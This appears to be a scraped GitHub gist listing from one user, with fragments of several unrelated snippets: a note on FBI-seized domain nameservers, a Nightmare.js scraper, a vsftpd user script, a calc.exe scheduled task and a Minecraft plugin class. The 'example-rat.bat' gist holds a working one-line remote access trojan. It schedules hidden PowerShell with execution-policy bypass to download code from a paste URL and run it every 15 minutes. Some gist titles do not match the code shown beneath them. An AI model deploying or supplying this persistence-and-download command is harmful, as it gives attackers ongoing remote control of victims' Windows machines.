so if the FBI seizes a domain they always (or mostly) use the following nameservers to hold the domain known to be used by law enforcement:
jocely.ns.cloudflare.com plato.ns.cloudflare.com
for example
doublevpn.com
raidforums.com
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const Nightmare = require('nightmare') | |
| const nightmare = Nightmare({ show: true }) | |
| nightmare | |
| .goto('https://duckduckgo.com') | |
| .type('#search_form_input_homepage', 'github nightmare') | |
| .click('#search_button_homepage') | |
| .wait(1000) | |
| .evaluate(() => { | |
| const links = Array.from(document.querySelectorAll('a')); |
treppenhaus
/ example-rat.bat
Last active
October 26, 2022 13:11
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| :: small example for a windows remote access if you control the webserver | |
| :: only use for education etc etc | |
| :: also its only for testing; blue powershell window pops up | |
| :: https://pastes.io/raw/km95gr8b1w -> you want this to be a url to something you control because these commands are ran every 15 minutes | |
| schtasks /create /sc minute /mo 15 /tn autorun /tr "powershell -windowstyle hidden -noprofile -executionpolicy bypass -command 'invoke-webrequest https://pastes.io/raw/km95gr8b1w -usebasicparsing | select-object -expand content | iex'" /st 07:00 /sd 01/05/2020 /f && schtasks /run /tn autorun |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| mkdir c:\temp\oidma |
treppenhaus
/ autorun.bat
Created
October 26, 2022 12:27
create a scheduled task that runs every 2 minutes with batch
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| schtasks /Create /SC MINUTE /MO 2 /TN autorun /TR calc.exe /ST 07:00 /SD 01/05/2020 /F | |
| schtasks /run /tn autorun | |
| :: runs every two minutes | |
| :: opens calculator |
treppenhaus
/ nameservers.md
Last active
September 9, 2022 07:21
how to check if a domain is seized by the FBI
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # usage: | |
| # ./create-user.sh <USERNAME> <PASSWORD> <GROUPNAME> | |
| # ^script name | |
| # | |
| # > creates a user and adds it to vsftpd user list | |
| username=$1 | |
| password=$2 |
treppenhaus
/ uSkyblockPlaceholders.java
Created
November 17, 2021 13:40
uSkyBlock Placeholder for PlaceholderAPI
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import me.clip.placeholderapi.expansion.PlaceholderExpansion; | |
| import org.bukkit.entity.Player; | |
| import us.talabrek.ultimateskyblock.api.IslandLevel; | |
| import us.talabrek.ultimateskyblock.api.uSkyBlockAPI; | |
| import us.talabrek.ultimateskyblock.uSkyBlock; | |
| // you need to | |
| // new IsLevelPlaceholders().register(); | |
| // in your onEnable method of your main class! |